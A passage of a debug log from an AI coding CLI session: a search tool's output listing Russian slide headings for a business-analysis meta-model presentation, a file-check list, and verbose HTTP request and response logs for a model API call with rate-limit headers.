\u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md:339:## \u0421\u043b\u0430\u0439\u0434 10. \u0422\u0440\u0438 \u0448\u0430\u0433\u0430 \u043a \u0421\u0440\u0435\u0434\u0435 4\\n---\\nOK docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md\\nOK ops/backlog.md\\nOK projects/ba-ai-process/ba-meta-model/10-theory.md\\nOK projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md\\nOK projects/ba-ai-process/ba-meta-model/operation-taxonomy/10-theory.md\\nOK projects/ba-ai-process/ba-meta-model/product-taxonomy/mango-products.yaml\\nOK projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md\\nOK projects/ba-ai-process/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md\\nOK projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md\\nOK projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md\\nOK projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md\\nOK projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\\nOK projects/ba-ai-process/docs/rfc/2026-09-source-pilot-verification.md\\nOK research/ba-requirements/2026-09-08-kb-slot-fit-facts.md\\nOK research/ba-requirements/2026-09-08-meta-model-inputs-facts.md\\nOK research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md\\nOK research/ba-requirements/methodology-unification/40-practice-and-cases.md\\nOK projects/ba-ai-process/dist/execution-package-gigacode-cli/golden\",\n[2026-09-29T07:54:45.623Z] [INFO]         \"is_error\": false\n[2026-09-29T07:54:45.623Z] [INFO]       }\n[2026-09-29T07:54:45.623Z] [INFO]     ]\n[2026-09-29T07:54:45.623Z] [INFO]   },\n[2026-09-29T07:54:45.623Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:54:45.623Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:54:45.623Z] [INFO]   \"uuid\": \"60c233c2-7251-4114-ba20-601a5d5a9ed1\",\n[2026-09-29T07:54:45.623Z] [INFO]   \"timestamp\": \"2026-09-29T07:54:45.607Z\",\n[2026-09-29T07:54:45.623Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:54:45.623Z] [INFO]     \"stdout\": \"projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md:78:## \u0421\u043b\u0430\u0439\u0434 1. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u043b\u044f \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u044c \u043a\u0430\u043a \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442, \u0430 \u043d\u0435 \u043a\u0430\u043a \u0430\u0432\u0442\u043e\u0440\u0441\u043a\u0438\u0439 \u0442\u0435\u043a\u0441\u0442\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md:109:## \u0421\u043b\u0430\u0439\u0434 2. \u0412 \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u0445 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u044d\u0442\u043e \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u0437\u0430\u043c\u0435\u0442\u043a\u0430\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md:146:## \u0421\u043b\u0430\u0439\u0434 3. \u041c\u0435\u0436\u0434\u0443 \u0441\u044b\u0440\u044b\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c \u0438 \u0422\u0417 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0440\u0443\u0447\u043d\u043e\u043c \u0448\u0430\u0433\u0435\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md:186:## \u0421\u043b\u0430\u0439\u0434 4. \u0423\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u043e \u0434\u0430\u0432\u0430\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442: 60+ \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438, \u0447\u0442\u043e \u0434\u0435\u0444\u0435\u043a\u0442 \u0441\u0438\u0434\u0438\u0442 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md:233:## \u0421\u043b\u0430\u0439\u0434 5. \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443 \u0411\u0410 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md:274:## \u0421\u043b\u0430\u0439\u0434 6. \u041c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0441\u043b\u044c: \u043c\u044b \u043e\u0446\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e \u0438 \u0441\u0442\u0430\u0432\u0438\u043c \u043d\u0430 \u0435\u0451 \u0432\u044b\u0445\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md:324:## \u0421\u043b\u0430\u0439\u0434 7. \u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0441\u044b\u0440\u043e\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u0432 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0437\u0430 \u043f\u044f\u0442\u044c \u0448\u0430\u0433\u043e\u0432 \u0438 \u0434\u0432\u0430 \u0433\u0435\u0439\u0442\u0430\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md:373:## \u0421\u043b\u0430\u0439\u0434 8. \u041f\u0438\u043b\u043e\u0442 \u043d\u0430 \u0410\u0420\u041c \u0434\u043e\u043a\u0430\u0437\u0430\u043b \u043c\u043e\u0434\u0435\u043b\u044c; \u0434\u043b\u044f \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u0434, \u0430 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md:413:## \u0421\u043b\u0430\u0439\u0434 9. \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0435 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f, \u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430: \u0435\u0433\u043e \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 \u0434\u0435\u043b\u0430\u0435\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0443 \u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0431\u0435\u0441\u0448\u043e\u0432\u043d\u043e\u0439\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md:455:## \u0421\u043b\u0430\u0439\u0434 10. \u041e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043a \u0421\u0440\u0435\u0434\u0435 4 \u2014 \u0442\u0440\u0438 \u0448\u0430\u0433\u0430, \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u043d \u0434\u043e \u0441\u0442\u0430\u0440\u0442\u0430\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md:51:## \u0421\u043b\u0430\u0439\u0434 1. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u044c \u043a\u0430\u043a \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md:73:## \u0421\u043b\u0430\u0439\u0434 2. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u044d\u0442\u043e \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md:98:## \u0421\u043b\u0430\u0439\u0434 3. \u0421\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0440\u0443\u0447\u043d\u043e\u043c \u0448\u0430\u0433\u0435\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md:131:## \u0421\u043b\u0430\u0439\u0434 4. \u0423\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u043e \u0434\u0430\u0432\u0430\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md:170:## \u0421\u043b\u0430\u0439\u0434 5. \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443 \u0434\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md:198:## \u0421\u043b\u0430\u0439\u0434 6. \u041c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0441\u043b\u044c \u2014 \u043c\u044b \u0441\u0442\u0430\u0432\u0438\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043d\u0430 \u0432\u044b\u0445\u043e\u0434 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md:235:## \u0421\u043b\u0430\u0439\u0434 7. \u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440: \u043f\u044f\u0442\u044c \u0448\u0430\u0433\u043e\u0432 \u0438 \u0434\u0432\u0430 \u0433\u0435\u0439\u0442\u0430\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md:274:## \u0421\u043b\u0430\u0439\u0434 8. \u041f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u0434, \u0430 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md:311:## \u0421\u043b\u0430\u0439\u0434 9. \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430, \u0430 \u043d\u0435 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md:339:## \u0421\u043b\u0430\u0439\u0434 10. \u0422\u0440\u0438 \u0448\u0430\u0433\u0430 \u043a \u0421\u0440\u0435\u0434\u0435 4\\n---\\nOK docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md\\nOK ops/backlog.md\\nOK projects/ba-ai-process/ba-meta-model/10-theory.md\\nOK projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md\\nOK projects/ba-ai-process/ba-meta-model/operation-taxonomy/10-theory.md\\nOK projects/ba-ai-process/ba-meta-model/product-taxonomy/mango-products.yaml\\nOK projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md\\nOK projects/ba-ai-process/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md\\nOK projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md\\nOK projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md\\nOK projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md\\nOK projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\\nOK projects/ba-ai-process/docs/rfc/2026-09-source-pilot-verification.md\\nOK research/ba-requirements/2026-09-08-kb-slot-fit-facts.md\\nOK research/ba-requirements/2026-09-08-meta-model-inputs-facts.md\\nOK research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md\\nOK research/ba-requirements/methodology-unification/40-practice-and-cases.md\\nOK projects/ba-ai-process/dist/execution-package-gigacode-cli/golden\",\n[2026-09-29T07:54:45.623Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:54:45.623Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:54:45.623Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:54:45.623Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:54:45.623Z] [INFO]   }\n[2026-09-29T07:54:45.623Z] [INFO] }\n[2026-09-29T07:54:45.652Z] [STDOUT] [log_b5f0cb] sending request {\n[2026-09-29T07:54:45.655Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:54:45.660Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:54:45.663Z] [STDOUT]   options: {\n[2026-09-29T07:54:45.667Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:54:45.671Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:54:45.673Z] [STDOUT]     body: {\n[2026-09-29T07:54:45.675Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:54:45.678Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:54:45.680Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:54:45.684Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:54:45.689Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:54:45.691Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:54:45.694Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:54:45.696Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:54:45.698Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:54:45.701Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:54:45.705Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:54:45.707Z] [STDOUT]       stream: true,\n[2026-09-29T07:54:45.718Z] [STDOUT]     },\n[2026-09-29T07:54:45.726Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:54:45.731Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:54:45.751Z] [STDOUT]       aborted: false,\n[2026-09-29T07:54:45.756Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:54:45.761Z] [STDOUT]       onabort: null,\n[2026-09-29T07:54:45.766Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:54:45.768Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:54:45.776Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:54:45.781Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:54:45.791Z] [STDOUT]     },\n[2026-09-29T07:54:45.795Z] [STDOUT]     stream: true,\n[2026-09-29T07:54:45.797Z] [STDOUT]   },\n[2026-09-29T07:54:45.803Z] [STDOUT]   headers: {\n[2026-09-29T07:54:45.806Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:54:45.810Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:54:45.814Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:54:45.818Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:54:45.834Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:54:45.839Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:54:45.853Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:54:45.861Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:54:45.865Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:54:45.870Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1505\",\n[2026-09-29T07:54:45.873Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:54:45.877Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:54:45.881Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:54:45.884Z] [STDOUT]     \"x-client-request-id\": \"a6b670e4-e446-4e6e-8394-18706163fa6c\",\n[2026-09-29T07:54:45.887Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:54:45.889Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:54:45.893Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:54:45.898Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:54:45.901Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:54:45.903Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:54:45.906Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:54:45.909Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:54:45.913Z] [STDOUT]   },\n[2026-09-29T07:54:45.915Z] [STDOUT] }\n[2026-09-29T07:54:46.440Z] [STDOUT] [log_b5f0cb, request-id: \"req_011CfXNU6ueCHAJV4Lkh6pPb\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 784ms\n[2026-09-29T07:54:46.444Z] [STDOUT] [log_b5f0cb] response start {\n[2026-09-29T07:54:46.447Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:54:46.450Z] [STDOUT]   status: 200,\n[2026-09-29T07:54:46.454Z] [STDOUT]   headers: {\n[2026-09-29T07:54:46.457Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:54:46.459Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:54:46.462Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:54:46.470Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.41\",\n[2026-09-29T07:54:46.473Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:54:46.476Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:54:46.482Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:54:46.487Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:54:46.493Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:54:46.495Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:54:46.508Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:54:46.513Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:54:46.531Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:54:46.542Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:54:46.554Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:54:46.561Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:54:46.567Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:54:46.571Z] [STDOUT]     \"cf-ray\": \"a4296bf35bed5d90-FRA\",\n[2026-09-29T07:54:46.574Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:54:46.579Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:54:46.584Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:54:46.586Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:54:46.589Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:54:46 GMT\",\n[2026-09-29T07:54:46.594Z] [STDOUT]     \"request-id\": \"req_011CfXNU6ueCHAJV4Lkh6pPb\",\n[2026-09-29T07:54:46.598Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:54:46.600Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:54:46.606Z] [STDOUT]     traceresponse: \"00-fb9b4eb0e28591fb907e11af0edbbe84-bacb4576236b0ecf-01\",\n[2026-09-29T07:54:46.612Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:54:46.615Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:54:46.620Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:54:46.622Z] [STDOUT]   },\n[2026-09-29T07:54:46.631Z] [STDOUT]   durationMs: 784,\n[2026-09-29T07:54:46.652Z] [STDOUT] }\n[2026-09-29T07:54:46.659Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:54:46.667Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:54:46 GMT\",\n[2026-09-29T07:54:46.672Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:54:46.678Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:54:46.686Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:54:46.701Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:54:46.713Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:54:46.717Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:54:46.726Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:54:46.731Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:54:46.749Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:54:46.755Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:54:46.762Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:54:46.769Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:54:46.774Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.41\",\n[2026-09-29T07:54:46.782Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:54:46.786Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:54:46.791Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:54:46.796Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:54:46.800Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:54:46.806Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:54:46.815Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:54:46.822Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:54:46.829Z] [STDOUT]   \"request-id\": \"req_011CfXNU6ueCHAJV4Lkh6pPb\",\n[2026-09-29T07:54:46.832Z] [STDOUT]   \"traceresponse\": \"00-fb9b4eb0e28591fb907e11af0edbbe84-bacb4576236b0ecf-01\",\n[2026-09-29T07:54:46.838Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:54:46.842Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:54:46.850Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:54:46.854Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:54:46.866Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:54:46.874Z] [STDOUT]   \"cf-ray\": \"a4296bf35bed5d90-FRA\",\n[2026-09-29T07:54:46.877Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:54:46.880Z] [STDOUT] [log_b5f0cb] response parsed {\n[2026-09-29T07:54:46.886Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:54:46.889Z] [STDOUT]   status: 200,\n[2026-09-29T07:54:46.898Z] [STDOUT]   body: X {\n[2026-09-29T07:54:46.910Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:54:46.919Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:54:46.924Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:54:46.930Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:54:46.938Z] [STDOUT]     },\n[2026-09-29T07:54:46.953Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:54:46.959Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:54:46.961Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:54:46.964Z] 